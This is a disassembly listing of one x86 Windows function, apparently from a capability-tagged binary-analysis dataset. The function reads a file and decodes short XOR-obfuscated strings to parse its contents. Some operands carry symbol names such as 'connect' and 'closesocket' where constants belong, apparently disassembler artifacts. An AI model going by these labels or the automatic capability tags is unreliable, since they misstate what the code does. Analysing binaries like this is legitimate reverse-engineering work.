Function at 0x440ce0
Capabilities:
Encode data using xor
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x50d2c0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xa0
push esi
push 0
push 0x80
push 3
push 0
push 1
push connect
push ecx
mov dword [ebp - 0xac], edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x4411a3
push ebx
push edi
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
push ebx
mov dword [ebp - 0x68], ebx
call fcn.004dfb01
push ebx
mov edi, eax
push 0
push edi
mov dword [ebp - 0x64], edi
call fcn.004e1ab0
add esp, 0x10
mov dword [ebp - 0xa0], 0
lea eax, [ebp - 0xa0]
push 0
push eax
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
test eax, eax
jne 0x440d91
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call fcn.004dfb32
add esp, 4
pop edi
pop ebx
pop esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [edi], 0xd0
mov edx, dword [ebp + 8]
setne al
mov byte [ebp - 0xd], 0
mov byte [edx], al
xor eax, eax
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], 0xf
mov byte [ebp - 0x60], al
mov dword [ebp - 4], eax
xor esi, esi
mov dword [ebp - 0x1c], esi
test ebx, ebx
je 0x441189
jmp 0x440de0
mov bl, byte [esi + edi]
cmp bl, 0x20
jbe 0x44116d
cmp bl, 0x7f
jae 0x44116d
cmp bl, 0x3d
je 0x44116d
mov esi, dword [ebp - 0x4c]
mov edi, dword [ebp - 0x50]
mov dword [ebp - 0xa4], esi
cmp edi, esi
jae 0x440e2c
lea eax, [edi + 1]
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0x60]
cmp esi, 0xf
jbe 0x440e1f
mov eax, dword [ebp - 0x60]
mov byte [eax + edi], bl
mov byte [eax + edi + 1], 0
jmp 0x440efc
mov eax, closesocket
sub eax, edi
cmp eax, 1
jb 0x44129f
lea ecx, [edi + 1]
mov eax, closesocket
or ecx, 0xf
cmp ecx, eax
ja 0x440e65
mov edx, esi
shr edx, 1
sub eax, edx
cmp esi, eax
jbe 0x440e5c
mov eax, closesocket
jmp 0x440e65
lea eax, [esi + edx]
cmp ecx, eax
jb 0x440e65
mov eax, ecx
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x60]
push eax
call fcn.004030f0
lea ecx, [edi + 1]
mov dword [ebp - 0x84], eax
add esp, 8
mov dword [ebp - 0x50], ecx
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 0x4c], ecx
lea ecx, [edi + eax]
mov dword [ebp - 0x20], ecx
push edi
cmp esi, 0xf
jbe 0x440edd
mov esi, dword [ebp - 0x60]
push esi
push eax
call fcn.004e1370
mov eax, dword [ebp - 0x20]
add esp, 0xc
mov ecx, dword [ebp - 0xa4]
inc ecx
mov byte [eax], bl
mov byte [eax + 1], 0
cmp ecx, 0x1000
jb 0x440ed1
mov edx, dword [esi - 4]
add ecx, 0x23
sub esi, edx
lea eax, [esi - 4]
cmp eax, 0x1f
ja 0x4412a4
mov esi, edx
push ecx
push esi
call fcn.004dfaf3
add esp, 8
jmp 0x440ef3
lea ecx, [ebp - 0x60]
push ecx
push eax
call fcn.004e1370
mov eax, dword [ebp - 0x20]
add esp, 0xc
mov byte [eax], bl
mov byte [eax + 1], 0
mov eax, dword [ebp - 0x84]
mov dword [ebp - 0x60], eax
xor eax, eax
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x88], 0xf
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x8c], eax
mov byte [ebp - 0x9c], al
mov byte [ebp - 4], 1
xor ecx, ecx
mov dword [ebp - 0x16], 0x858a8ba6
mov dword [ebp - 0x12], 0x99829e
mov byte [ebp - 0xe], 1
lea eax, [ecx - 0x19]
xor byte [ebp + ecx - 0x16], al
inc ecx
cmp ecx, 7
jb 0x440f50
lea edx, [ebp - 0x16]
mov byte [ebp - 0xe], 0
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x440f67
mov ebx, dword [ebp - 0x4c]
sub edx, ecx
mov edi, dword [ebp - 0x60]
lea ecx, [ebp - 0x60]
cmp ebx, 0xf
jbe 0x440f80
mov ecx, edi
mov esi, dword [ebp - 0x50]
lea eax, [ebp - 0x16]
push edx
push eax
push 0
mov edx, esi
call fcn.0046ece0
add esp, 0xc
test eax, eax
je 0x441125
mov dword [ebp - 0x37], 0xd9b9a7b7
xor ecx, ecx
mov dword [ebp - 0x33], 0x818e8faa
mov dword [ebp - 0x2f], 0x859e9a
mov byte [ebp - 0x2b], 1
lea eax, [ecx - 0x19]
xor byte [ebp + ecx - 0x37], al
inc ecx
cmp ecx, 0xb
jb 0x440fb7
lea edx, [ebp - 0x37]
mov byte [ebp - 0x2b], 0
lea ecx, [edx + 1]
mov edi, edi
mov al, byte [edx]
inc edx
test al, al
jne 0x440fd0
sub edx, ecx
lea ecx, [ebp - 0x60]
cmp ebx, 0xf
jbe 0x440fe3
mov ecx, edi
push edx
lea eax, [ebp - 0x37]
mov edx, esi
push eax
push 0
call fcn.0046ece0
add esp, 0xc
test eax, eax
je 0x441125
cmp byte [ebp - 0xd], 0
je 0x4410c4
mov dword [ebp - 0x2a], 0x999a89b7
xor ecx, ecx
mov dword [ebp - 0x26], 0x8a9f839c
mov word [ebp - 0x22], 0x100
lea esp, [esp]
lea eax, [ecx - 0x19]
xor byte [ebp + ecx - 0x2a], al
inc ecx
cmp ecx, 8
jb 0x441020
lea edx, [ebp - 0x2a]
mov byte [ebp - 0x21], 0
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x441037
sub edx, ecx
lea ecx, [ebp - 0x60]
cmp ebx, 0xf
jbe 0x44104a
mov ecx, edi
push edx
lea eax, [ebp - 0x2a]
mov edx, esi
push eax
push 0
call fcn.0046ece0
add esp, 0xc
test eax, eax
je 0x4411b2
mov dword [ebp - 0x45], 0xd9b9a7b7
xor ecx, ecx
mov dword [ebp - 0x41], 0x9d9e8dbb
mov dword [ebp - 0x3d], 0x96839f98
mov word [ebp - 0x39], 0x100
lea eax, [ecx - 0x19]
xor byte [ebp + ecx - 0x45], al
inc ecx
cmp ecx, 0xc
jb 0x441080
lea esi, [ebp - 0x45]
mov byte [ebp - 0x38], 0
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x441097
sub esi, ecx
lea ecx, [ebp - 0x60]
cmp ebx, 0xf
jbe 0x4410aa
mov ecx, edi
mov edx, dword [ebp - 0x50]
lea eax, [ebp - 0x45]
push esi
push eax
push 0
call fcn.0046ece0
add esp, 0xc
test eax, eax
je 0x4411b2
mov edi, dword [ebp - 0x64]
mov esi, dword [ebp - 0x1c]
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x88]
cmp ecx, 0xf
jbe 0x441108
mov edx, dword [ebp - 0x9c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4410fe
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4412a4
push ecx
push edx
call fcn.004dfaf3
add esp, 8
mov dword [ebp - 0x8c], 0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
jmp 0x44117c
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x1c]
cmp byte [eax], 0
lea esi, [ecx + 9]
jne 0x441136
lea esi, [ecx + 2]
mov edi, dword [ebp - 0x64]
mov al, byte [esi + edi]
cmp al, 0x20
jbe 0x441164
cmp al, 0x7f
jae 0x441164
mov byte [ebp - 0xa8], al
lea ecx, [ebp - 0x9c]
push dword [ebp - 0xa8]
call fcn.00402d00
mov al, byte [esi + edi + 1]
inc esi
cmp al, 0x20
ja 0x441140
mov byte [ebp - 0xd], 1
jmp 0x4410ca
push 0
push 0x51f88a
lea ecx, [ebp - 0x60]
call fcn.00468880
inc esi
mov dword [ebp - 0x1c], esi
cmp esi, dword [ebp - 0x68]
jb 0x440de0
push edi
call fcn.004dfb32
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x60]
call fcn.00402c80
pop edi
pop ebx
mov ecx, dword [ebp - 0xc]
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp + 8]
mov ecx, dword [ebp - 0x1c]
cmp byte [edx], 0
lea eax, [ecx + 9]
jne 0x4411c3
lea eax, [ecx + 2]
xor ecx, ecx
xor edx, edx
mov dword [ebp - 0x80], ecx
mov dword [ebp - 0x70], ecx
mov dword [ebp - 0x6c], ecx
mov dword [ebp - 0x7c], ecx
mov dword [ebp - 0x78], ecx
mov dword [ebp - 0x74], ecx
mov ecx, 0xf
mov dword [ebp - 0x70], edx
mov dword [ebp - 0x6c], ecx
mov byte [ebp - 0x80], dl
mov byte [ebp - 4], 2
mov edi, dword [ebp - 0x64]
lea esi, [eax + edi]
mov al, byte [esi]
cmp al, 0x20
jbe 0x441217
cmp al, 0x7f
jae 0x441211
mov byte [ebp - 0x68], al
lea ecx, [ebp - 0x80]
push dword [ebp - 0x68]
call fcn.00402d00
mov al, byte [esi + 1]
inc esi
cmp al, 0x20
ja 0x4411f7
mov ecx, dword [ebp - 0x6c]
mov edx, dword [ebp - 0x70]
mov esi, dword [ebp - 0xac]
lea eax, [ebp - 0x80]
cmp esi, eax
je 0x441238
cmp ecx, 0xf
jbe 0x44122c
mov eax, dword [ebp - 0x80]
push edx
push eax
mov ecx, esi
call fcn.00468880
mov ecx, dword [ebp - 0x6c]
mov byte [ebp - 4], 1
cmp ecx, 0xf
jbe 0x441269
mov edx, dword [ebp - 0x80]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44125f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4412a4
push ecx
push edx
call fcn.004dfaf3
add esp, 8
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 0xf
mov byte [ebp - 0x80], 0
mov byte [ebp - 4], 0
mov dword [ebp - 0x8c], 0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
jmp 0x441189
call fcn.004025a0
call fcn.004e4d70
int3